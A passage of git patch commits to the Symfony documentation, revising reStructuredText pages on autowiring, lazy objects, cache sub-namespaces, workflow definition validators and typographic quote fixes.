+            ]
+        )]
+        private HttpClientInterface $client,
+    ) {
+    }
+
+As you might have already figured out, this declaration instructs Symfony to inject an
+object created by calling the ``ScopingHttpClient::forBaseUri()`` factory with the
+configured base URI and default options.
+
+Of course, this is just an example and this attribute can be used to construct any kind of objects.
+
 Autowiring Controller Action Methods
 ------------------------------------
 

From 7253f1bef0f23c788e83b5d7b36eace90073386f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 May 2025 09:30:26 +0200
Subject: [PATCH 5624/5766] Minor tweaks

---
 service_container/autowiring.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d76622db281..ea1bf1b12ff 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -869,10 +869,10 @@ Autowiring Anonymous Services Inline
 
    The ``#[AutowireInline]`` attribute was added in Symfony 7.1.
 
-Similar to how one can define anonymous services inline using configuration files,
+Similar to how anonymous services can be defined inline in configuration files,
 the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireInline`
-attribute allows declaring anonymous services inline next to their corresponding
-arguments::
+attribute allows you to declare anonymous services inline, directly next to their
+corresponding arguments::
 
     public function __construct(
         #[AutowireInline(
@@ -888,11 +888,13 @@ arguments::
     ) {
     }
 
-As you might have already figured out, this declaration instructs Symfony to inject an
-object created by calling the ``ScopingHttpClient::forBaseUri()`` factory with the
-configured base URI and default options.
+This example tells Symfony to inject an object created by calling the
+``ScopingHttpClient::forBaseUri()`` factory with the specified base URI and
+default options. This is just one example: you can use the ``#[AutowireInline]``
+attribute to define any kind of anonymous service.
 
-Of course, this is just an example and this attribute can be used to construct any kind of objects.
+While this approach is convenient for simple service definitions, consider moving
+complex or heavily configured services to a configuration file to ease maintenance.
 
 Autowiring Controller Action Methods
 ------------------------------------

From 5de8d6ba7f95c16a7cfea69e540f363927e8f7f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 May 2025 17:20:51 +0200
Subject: [PATCH 5625/5766] Minor tweaks

---
 components/var_exporter.rst | 56 ++++++++++++++++++-------------------
 1 file changed, 28 insertions(+), 28 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index dc83763d579..c7ec9cd90d0 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -177,53 +177,53 @@ populated by using the special ``"\0"`` property name to define their internal v
         "\0" => [$inputArray],
     ]);
 
-Creating Lazy Objects on PHP ≥ 8.4
-----------------------------------
+Creating Lazy Objects
+---------------------
 
-Since version 8.4, PHP provides support for lazy objects via the reflection API.
-This native API works with concrete classes. It doesn't with abstracts nor with
-internal ones.
+Lazy objects are objects instantiated empty and populated on demand. This is
+particularly useful when, for example, a class has properties that require
+heavy computation to determine their values. In such cases, you may want to
+trigger the computation only when the property is actually accessed. This way,
+the expensive processing is avoided entirely if the property is never used.
 
-This components provides helpers to generate lazy objects using the decorator
-pattern, which works with abstract or internal classes and with interfaces::
+Since version 8.4, PHP provides support for lazy objects via the reflection API.
+This native API works with concrete classes, but not with abstract or internal ones.
+This component provides helpers to generate lazy objects using the decorator
+pattern, which also works with abstract classes, internal classes, and interfaces::
 
     $proxyCode = ProxyHelper::generateLazyProxy(new \ReflectionClass(SomeInterface::class));
-    // $proxyCode should be dumped into a file in production envs
+    // $proxyCode should be dumped into a file in production environments
     eval('class ProxyDecorator'.$proxyCode);
 
     $proxy = ProxyDecorator::createLazyProxy(initializer: function (): SomeInterface {
-        // [...] Use whatever heavy logic you need here
+        // use whatever heavy logic you need here
         // to compute the $dependencies of the proxied class
         $instance = new SomeHeavyClass(...$dependencies);
-        // [...] Call setters, etc. if needed
+        // call setters, etc. if needed
 
         return $instance;
     });
 
 Use this mechanism only when native lazy objects cannot be leveraged
-(or you'll get a deprecation notice.)
+(otherwise you'll get a deprecation notice).
 
-Creating Lazy Objects on PHP < 8.3
-----------------------------------
+Legacy Creation of Lazy Objects
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Lazy-objects are objects instantiated empty and populated on-demand. This is
-particularly useful when you have for example properties in your classes that
-requires some heavy computation to determine their value. In this case, you
-may want to trigger the property's value processing only when you actually need
-its value. Thanks to this, the heavy computation won't be done if you never use
-this property. The VarExporter component is bundled with two traits helping
-you implement such mechanism easily in your classes.
+When using a PHP version earlier than 8.4, native lazy objects are not available.
+In these cases, the VarExporter component provides two traits that help you
+implement lazy-loading mechanisms in your classes.
 
 .. _var-exporter_ghost-objects:
 
 LazyGhostTrait
-~~~~~~~~~~~~~~
+..............
 
 .. deprecated:: 7.3
 
-   ``LazyGhostTrait`` is deprecated since Symfony 7.3; use PHP 8.4's native lazy
-   objects instead (note that using the trait with PHP < 8.4 triggers no deprecation
-   to help with the transition.)
+    ``LazyGhostTrait`` is deprecated since Symfony 7.3. Use PHP 8.4's native lazy
+    objects instead. Note that using the trait with PHP versions earlier than 8.4
+    does not trigger a deprecation, to ease the transition.
 
 Ghost objects are empty objects, which see their properties populated the first
 time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
@@ -303,13 +303,13 @@ of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
 .. _var-exporter_virtual-proxies:
 
 LazyProxyTrait
-~~~~~~~~~~~~~~
+..............
 
 .. deprecated:: 7.3
 
-   ``LazyProxyTrait`` is deprecated since Symfony 7.3; use PHP 8.4's native lazy
-   objects instead (note that using the trait with PHP < 8.4 triggers no deprecation
-   to help with the transition.)
+    ``LazyProxyTrait`` is deprecated since Symfony 7.3. Use PHP 8.4's native lazy
+    objects instead. Note that using the trait with PHP versions earlier than 8.4
+    does not trigger a deprecation, to ease the transition.
 
 The purpose of virtual proxies in the same one as
 :ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is

From fc017846c4b5ecf1faf728b1f709fa7fef7ff901 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Santiago=20San=20Mart=C3=ADn?= <sanmartindev@gmail.com>
Date: Wed, 14 May 2025 22:35:37 -0300
Subject: [PATCH 5626/5766] [Validator] avoid broken rendering of inline types
 in UniqueEntity

This PR fixes an issue in the documentation where inline type annotations like | ``string`` | were not rendering correctly due to reStructuredText interpreting the | characters as substitution references.

Changes:
Replaced | ``string`` | with a more reliable format: boolean, string or array

Ensures consistent rendering across Sphinx and other reST parsers

This improves readability and avoids confusion when displaying valid type options in inline documentation.
---
 reference/constraints/UniqueEntity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 2c9aeccd755..0e1731371a5 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -277,7 +277,7 @@ each with a single field.
 ``ignoreNull``
 ~~~~~~~~~~~~~~
 
-**type**: ``boolean`` | ``string`` | ``array`` **default**: ``true``
+**type**: ``boolean``, ``string`` or ``array`` **default**: ``true``
 
 If this option is set to ``true``, then the constraint will allow multiple
 entities to have a ``null`` value for a field without failing validation.

From 90e7bf98639ce9bbd6b60e5f4a7df47d5dc87e10 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 May 2025 08:18:51 +0200
Subject: [PATCH 5627/5766] Fix some content with wrong RST syntax

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e12c321b1fa..83cbc0e1135 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3053,7 +3053,7 @@ php_errors
 log
 ...
 
-**type**: ``boolean|int|array<int, string>`` **default**: ``%kernel.debug%``
+**type**: ``boolean``, ``int`` or ``array<int, string>`` **default**: ``%kernel.debug%``
 
 Use the application logger instead of the PHP logger for logging PHP errors.
 When an integer value is used, it defines a bitmask of PHP errors that will

From d2ac2ef0aea39441caa2fd871f890590915327f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 May 2025 12:56:12 +0200
Subject: [PATCH 5628/5766] [DependencyInjection] Fix a RST syntax issue

---
 components/dependency_injection.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 93e8af711cf..d146f553a0c 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -180,16 +180,16 @@ You can override this behavior as follows::
 
 These are all the possible behaviors:
 
- * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
-   at compile time (this is the **default** behavior);
- * ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: throws an
-   exception at runtime, when trying to access the missing service;
- * ``ContainerInterface::NULL_ON_INVALID_REFERENCE``: returns ``null``;
- * ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: ignores the wrapping
-   command asking for the reference (for instance, ignore a setter if the service
-   does not exist);
- * ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: ignores/returns
-   ``null`` for uninitialized services or invalid references.
+* ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
+  at compile time (this is the **default** behavior);
+* ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: throws an
+  exception at runtime, when trying to access the missing service;
+* ``ContainerInterface::NULL_ON_INVALID_REFERENCE``: returns ``null``;
+* ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: ignores the wrapping
+  command asking for the reference (for instance, ignore a setter if the service
+  does not exist);
+* ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: ignores/returns
+  ``null`` for uninitialized services or invalid references.
 
 Avoiding your Code Becoming Dependent on the Container
 ------------------------------------------------------

From 5ad20ab99619534ee744c0efc2498fe878536bc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 May 2025 15:27:25 +0200
Subject: [PATCH 5629/5766] [Cache] Improve the docs about cache namespaces

---
 cache.rst            |  2 ++
 components/cache.rst | 59 +++++++++++++++++++++++++++++++++-----------
 2 files changed, 47 insertions(+), 14 deletions(-)

diff --git a/cache.rst b/cache.rst
index 83bb5b4cedc..35f1404d42a 100644
--- a/cache.rst
+++ b/cache.rst
@@ -539,6 +539,8 @@ Symfony stores the item automatically in all the missing pools.
             ;
         };
 
+.. _cache-using-cache-tags:
+
 Using Cache Tags
 ----------------
 
diff --git a/components/cache.rst b/components/cache.rst
index 3c124c7d85e..b476b23e313 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -91,30 +91,61 @@ Creating Sub-Namespaces
 
    Cache sub-namespaces were introduced in Symfony 7.3.
 
-All cache adapters provided by the component implement the
-:class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface` to provide the
-:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` method.
-This method allows namespacing cached items by transparently prefixing their keys::
+Sometimes you need to create context-dependent variations of data that should be
+cached. For example, the data used to render a dashboard page may be expensive
+to generate and unique per user, so you can't cache the same data for everyone.
 
-    $subCache = $cache->withSubNamespace('foo');
+In such cases, Symfony allows you to create different cache contexts using
+namespaces. A cache namespace is an arbitrary string that identifies a set of
+related cache items. All cache adapters provided by the component implement the
+:class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface`, which provides the
+:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace`
+method.
 
-    $subCache->get('my_cache_key', function (ItemInterface $item): string {
+This method allows you to namespace cached items by transparently prefixing their keys::
+
+    $userCache = $cache->withSubNamespace(sprintf('user-%d', $user->getId()));
+
+    $userCache->get('dashboard_data', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
 
         return '...';
     });
 
-In this example, the cache item will use the ``my_cache_key`` key, but it will be
-stored internally under the ``foo`` namespace. This is handled transparently for
-you, so you **don't** need to manually prefix keys like ``foo.my_cache_key``.
+In this example, the cache item uses the ``dashboard_data`` key, but it will be
+stored internally under a namespace based on the current user ID. This is handled
+automatically, so you **don’t** need to manually prefix keys like ``user-27.dashboard_data``.
 
-This is useful when using namespace-based cache invalidation to isolate or
-invalidate a subset of cached data based on some context. Typical examples
-include namespacing by user ID, locale, or entity ID and hash::
+There are no guidelines or restrictions on how to define cache namespaces.
+You can make them as granular or as generic as your application requires:
 
-    $userCache = $cache->withSubNamespace((string) $userId);
     $localeCache = $cache->withSubNamespace($request->getLocale());
-    $productCache = $cache->withSubNamespace($productId.'_'.$productChecksum);
+
+    $flagCache = $cache->withSubNamespace(
+        $featureToggle->isEnabled('new_checkout') ? 'checkout-v2' : 'checkout-v1'
+    );
+
+    $channel = $request->attributes->get('_route')?->startsWith('api_') ? 'api' : 'web';
+    $channelCache = $cache->withSubNamespace($channel);
+
+.. tip::
+
+    You can even combine cache namespaces with :ref:`cache tags <cache-using-cache-tags>`
+    for more advanced needs.
+
+There is no built-in way to invalidate caches by namespace. Instead, the recommended
+approach is to change the namespace itself. For this reason, it's common to include
+static or dynamic versioning data in the cache namespace::
+
+    // for simple applications, an incrementing static version number may be enough
+    $userCache = $cache->withSubNamespace(sprintf('v1-user-%d', $user->getId()));
+
+    // other applications may use dynamic versioning based on the date (e.g. monthly)
+    $userCache = $cache->withSubNamespace(sprintf('%s-user-%d', date('Ym'), $user->getId()));
+
+    // or even invalidate the cache when the user data changes
+    $checksum = hash('xxh128', $user->getUpdatedAt()->format(DATE_ATOM));
+    $userCache = $cache->withSubNamespace(sprintf('user-%d-%s', $user->getId(), $checksum));
 
 .. _cache_stampede-prevention:
 

From e0fcd1c3bd46b7bca6bd4a1eeb7e3c687d0d3cf6 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 15 May 2025 15:20:18 +0200
Subject: [PATCH 5630/5766] [Workflow] Document custom workflow definition
 validator

---
 workflow.rst | 79 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 11b4005bb10..544f775cce0 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -1306,6 +1306,85 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
         </ul>
     </p>
 
+Adding Custom Definition Validators
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, you may want to add custom logics to validate your workflow definition.
+To do this, you need to implement the
+:class:`Symfony\\Component\\Workflow\\Validator\\DefinitionValidatorInterface`::
+
+    namespace App\Workflow\Validator;
+
+    use Symfony\Component\Workflow\Definition;
+    use Symfony\Component\Workflow\Exception\InvalidDefinitionException;
+    use Symfony\Component\Workflow\Validator\DefinitionValidatorInterface;
+
+    final class BlogPublishingValidator implements DefinitionValidatorInterface
+    {
+        public function validate(Definition $definition, string $name): void
+        {
+            if (!$definition->getMetadataStore()->getMetadata('title')) {
+                throw new InvalidDefinitionException(sprintf('The workflow metadata title is missing in Workflow "%s".', $name));
+            }
+        }
+    }
+
+Once your definition validator is implemented, you can configure your workflow to use
+it:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/workflow.yaml
+        framework:
+            workflows:
+                blog_publishing:
+                    # ... previous configuration
+
+                    definition_validators:
+                        - App\Workflow\Validator\BlogPublishingValidator
+
+    .. code-block:: xml
+
+        <!-- config/packages/workflow.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
+            <framework:config>
+                <framework:workflow name="blog_publishing">
+                    <!-- ... previous configuration -->
+                    <framework:definition-validators>App\Workflow\Validator\BlogPublishingValidator</framework:definition-validators>
+                </framework:workflow>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/workflow.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->definitionValidators([
+                App\Workflow\Validator\BlogPublishingValidator::class
+            ]);
+
+            // ...
+        };
+
+The ``BlogPublishingValidator`` definition validator will be executed during the container compilation.
+
+.. versionadded:: 7.3
+
+    Support for defining custom workflow definition validators was introduced in Symfony 7.3.
+
 Learn more
 ----------
 

From c32e885e529bc423bacedd93b8949314453642b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 15 May 2025 17:35:57 +0200
Subject: [PATCH 5631/5766] [WebLink] Hint that prerender is deprecated

---
 web_link.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/web_link.rst b/web_link.rst
index 8602445313f..79fd51b8d02 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -146,7 +146,8 @@ The WebLink component provides the following Twig functions to send those hints:
 * ``prefetch()``: "identifies a resource that might be required by the next
   navigation, and that the user agent *should* fetch, such that the user agent
   can deliver a faster response once the resource is requested in the future".
-* ``prerender()``: "identifies a resource that might be required by the next
+* ``prerender()``: " **deprecated** and superseded by the `Speculation Rules API`_,
+  identifies a resource that might be required by the next
   navigation, and that the user agent *should* fetch and execute, such that the
   user agent can deliver a faster response once the resource is requested later".
 
@@ -206,3 +207,4 @@ You can also add links to the HTTP response directly from controllers and servic
 .. _`Akamai`: https://http2.akamai.com/
 .. _`link defined in the HTML specification`: https://html.spec.whatwg.org/dev/links.html#linkTypes
 .. _`PSR-13`: https://www.php-fig.org/psr/psr-13/
+.. _`Speculation Rules API`: https://developer.mozilla.org/docs/Web/API/Speculation_Rules_API

From e228ab6178987867ea65dce15acb8e3de311f5bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 May 2025 08:09:04 +0200
Subject: [PATCH 5632/5766] Minor tweaks

---
 components/cache.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index b476b23e313..44c08920a1e 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -114,7 +114,7 @@ This method allows you to namespace cached items by transparently prefixing thei
 
 In this example, the cache item uses the ``dashboard_data`` key, but it will be
 stored internally under a namespace based on the current user ID. This is handled
-automatically, so you **don’t** need to manually prefix keys like ``user-27.dashboard_data``.
+automatically, so you **don't** need to manually prefix keys like ``user-27.dashboard_data``.
 
 There are no guidelines or restrictions on how to define cache namespaces.
 You can make them as granular or as generic as your application requires:
@@ -130,7 +130,7 @@ You can make them as granular or as generic as your application requires:
 
 .. tip::
 
-    You can even combine cache namespaces with :ref:`cache tags <cache-using-cache-tags>`
+    You can combine cache namespaces with :ref:`cache tags <cache-using-cache-tags>`
     for more advanced needs.
 
 There is no built-in way to invalidate caches by namespace. Instead, the recommended

From 4b8a58cfee6cd87fcae7df58f28ccb47a0534830 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 May 2025 08:56:43 +0200
Subject: [PATCH 5633/5766] Fix a minor synmtax issue

---
 components/cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache.rst b/components/cache.rst
index 44c08920a1e..44ba8b5c151 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -117,7 +117,7 @@ stored internally under a namespace based on the current user ID. This is handle
 automatically, so you **don't** need to manually prefix keys like ``user-27.dashboard_data``.
 
 There are no guidelines or restrictions on how to define cache namespaces.
-You can make them as granular or as generic as your application requires:
+You can make them as granular or as generic as your application requires::
 
     $localeCache = $cache->withSubNamespace($request->getLocale());
 

From db089701221d929afd3e2fb1dc820148d5e15031 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Fri, 16 May 2025 10:50:33 +0200
Subject: [PATCH 5634/5766] fix typo "a unsubstantial" -> "an unsubstantial"

---
 contributing/core_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index 7b3d667a14b..d776cd4ed93 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -197,7 +197,7 @@ Pull Request Merging Policy
 
 A pull request **can be merged** if:
 
-* It is a :ref:`unsubstantial change <core-team_unsubstantial-changes>`;
+* It is an :ref:`unsubstantial change <core-team_unsubstantial-changes>`;
 * Enough time was given for peer reviews;
 * It is a bug fix and at least two **Mergers Team** members voted ``+1``
   (only one if the submitter is part of the Mergers team) and no Core

From 74ee9c8e8de3c7dd37c49701c62213d93675d1f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 May 2025 09:38:16 +0200
Subject: [PATCH 5635/5766] Use DOCtor-RST 1.68.0

---
 .doctor-rst.yaml                                           | 1 +
 .github/workflows/ci.yaml                                  | 2 +-
 best_practices.rst                                         | 2 +-
 components/config/caching.rst                              | 2 +-
 contributing/code_of_conduct/code_of_conduct.rst           | 6 +++---
 contributing/code_of_conduct/concrete_example_document.rst | 2 +-
 contributing/community/review-comments.rst                 | 2 +-
 contributing/diversity/further_reading.rst                 | 6 +++---
 http_client.rst                                            | 2 +-
 scheduler.rst                                              | 2 +-
 10 files changed, 14 insertions(+), 13 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3e804e4485f..4c3947e4d29 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -49,6 +49,7 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    no_typographic_quotes: ~
     non_static_phpunit_assertions: ~
     only_backslashes_in_namespace_in_php_code_block: ~
     only_backslashes_in_use_statements_in_php_code_block: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 497dfd9b430..fa36efbcbcf 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.67.0
+                uses: docker://oskarstark/doctor-rst:1.68.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/best_practices.rst b/best_practices.rst
index b887d4d289a..6211d042f0b 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -95,7 +95,7 @@ Use Secrets for Sensitive Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When your application has sensitive configuration, like an API key, you should
-store those securely via :doc:`Symfony’s secrets management system </configuration/secrets>`.
+store those securely via :doc:`Symfony's secrets management system </configuration/secrets>`.
 
 Use Parameters for Application Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/components/config/caching.rst b/components/config/caching.rst
index 810db48107e..f30128a5f9d 100644
--- a/components/config/caching.rst
+++ b/components/config/caching.rst
@@ -3,7 +3,7 @@ Caching based on Resources
 
 When all configuration resources are loaded, you may want to process the
 configuration values and combine them all in one file. This file acts
-like a cache. Its contents don’t have to be regenerated every time the
+like a cache. Its contents don't have to be regenerated every time the
 application runs – only when the configuration resources are modified.
 
 For example, the Symfony Routing component allows you to load all routes,
diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst
index 6202fdad424..ce14dd5ad0e 100644
--- a/contributing/code_of_conduct/code_of_conduct.rst
+++ b/contributing/code_of_conduct/code_of_conduct.rst
@@ -34,7 +34,7 @@ Examples of unacceptable behavior include:
   any kind
 * Trolling, insulting or derogatory comments, and personal or political attacks
 * Public or private harassment
-* Publishing others’ private information, such as a physical or email address,
+* Publishing others' private information, such as a physical or email address,
   without their explicit permission
 * Other conduct which could reasonably be considered inappropriate in a
   professional setting
@@ -128,7 +128,7 @@ Attribution
 This Code of Conduct is adapted from the `Contributor Covenant`_, version 2.1,
 available at https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
 
-Community Impact Guidelines were inspired by `Mozilla’s code of conduct enforcement ladder`_.
+Community Impact Guidelines were inspired by `Mozilla's code of conduct enforcement ladder`_.
 
 Related Documents
 -----------------
@@ -141,4 +141,4 @@ Related Documents
     concrete_example_document
 
 .. _Contributor Covenant: https://www.contributor-covenant.org
-.. _Mozilla’s code of conduct enforcement ladder: https://github.com/mozilla/diversity
+.. _Mozilla's code of conduct enforcement ladder: https://github.com/mozilla/diversity
diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst
index 60ffe2527db..227a41df4a8 100644
--- a/contributing/code_of_conduct/concrete_example_document.rst
+++ b/contributing/code_of_conduct/concrete_example_document.rst
@@ -9,7 +9,7 @@ according to the Symfony code of conduct.
 Concrete Examples
 -----------------
 
-* Unwelcome comments regarding a person’s lifestyle choices and practices,
+* Unwelcome comments regarding a person's lifestyle choices and practices,
   including those related to food, health, parenting, drugs, and employment;
 * Deliberate misgendering or use of `dead names`_ (The birth name
   of a person who has since changed their name, often a transgender person);
diff --git a/contributing/community/review-comments.rst b/contributing/community/review-comments.rst
index 5b9bc932205..331352bb5fd 100644
--- a/contributing/community/review-comments.rst
+++ b/contributing/community/review-comments.rst
@@ -28,7 +28,7 @@ constructive, respectful and helpful reviews and replies.
     welcoming place for everyone. **You are free to disagree with
     someone's opinions, but don't be disrespectful.**
 
-It’s important to accept that many programming decisions are opinions.
+It's important to accept that many programming decisions are opinions.
 Discuss trade-offs, which you prefer, and reach a resolution quickly.
 It's not about being right or wrong, but using what works.
 
diff --git a/contributing/diversity/further_reading.rst b/contributing/diversity/further_reading.rst
index 8bb07c39c97..b5f44047159 100644
--- a/contributing/diversity/further_reading.rst
+++ b/contributing/diversity/further_reading.rst
@@ -9,7 +9,7 @@ Diversity in Open Source
 `Sage Sharp - What makes a good community? <https://sage.thesharps.us/2015/10/06/what-makes-a-good-community>`_
 `Ashe Dryden - The Ethics of Unpaid Labor and the OSS Community <https://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-and-the-oss-community>`_
 `Model View Culture - The Dehumanizing Myth of the Meritocracy <https://modelviewculture.com/pieces/the-dehumanizing-myth-of-the-meritocracy>`_
-`Annalee - How “Good Intent” Undermines Diversity and Inclusion <https://thebias.com/2017/09/26/how-good-intent-undermines-diversity-and-inclusion>`_
+`Annalee - How "Good Intent" Undermines Diversity and Inclusion <https://thebias.com/2017/09/26/how-good-intent-undermines-diversity-and-inclusion>`_
 `Karolina Szczur - Building Inclusive Communities <https://speakerdeck.com/fox/building-inclusive-communities>`_
 
 Code of Conduct
@@ -22,7 +22,7 @@ Code of Conduct
 Inclusive language
 ------------------
 
-`Jenée Desmond-Harris - Why I’m finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_
+`Jenée Desmond-Harris - Why I'm finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_
 `inclusive language presentations <https://github.com/hcorona/diversity-inclusion/blob/master/inclusive-language-presentations.md>`_
 
 Other talks and Blog Posts
@@ -30,7 +30,7 @@ Other talks and Blog Posts
 
 `Lena Reinhard – A Talk About Nothing <https://www.youtube.com/watch?v=D3e3V66TH2Y>`_
 `Lena Reinhard - A Talk about Everything <https://www.youtube.com/watch?v=CZx7rYoq1Uw>`_
-`Sage Sharp - SCALE: Improving Diversity with Maslow’s hierarchy <https://sage.thesharps.us/2016/01/24/scale-improving-diversity-with-maslows-hierarchy>`_
+`Sage Sharp - SCALE: Improving Diversity with Maslow's hierarchy <https://sage.thesharps.us/2016/01/24/scale-improving-diversity-with-maslows-hierarchy>`_
 `UCSF - Unconscious Bias <https://diversity.ucsf.edu/resources/unconscious-bias>`_
 `Responding to harassment reports <http://geekfeminism.wikia.com/wiki/Conference_anti-harassment/Responding_to_reports>`_
 `Unconscious bias at work <https://rework.withgoogle.com/guides/unbiasing-raise-awareness/steps/watch-unconscious-bias-at-work>`_
diff --git a/http_client.rst b/http_client.rst
index 32ef552c64f..f4be8b2460b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -898,7 +898,7 @@ in your requests::
         'extra' => ['trace_content' => false],
     ]);
 
-This setting won’t affect other clients.
+This setting won't affect other clients.
 
 Using URI Templates
 ~~~~~~~~~~~~~~~~~~~
diff --git a/scheduler.rst b/scheduler.rst
index e7d855db249..3f2f8d7d2ac 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -603,7 +603,7 @@ In your handler, you can check a condition and, if affirmative, access the
     {
         public function getSchedule(): Schedule
         {
-            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
                 ->with(

From 5952dd3e9e4c863f3bb0d8926454cccd26e7f8da Mon Sep 17 00:00:00 2001
From: Pjotr Savitski <pjotr.savitski@gmail.com>
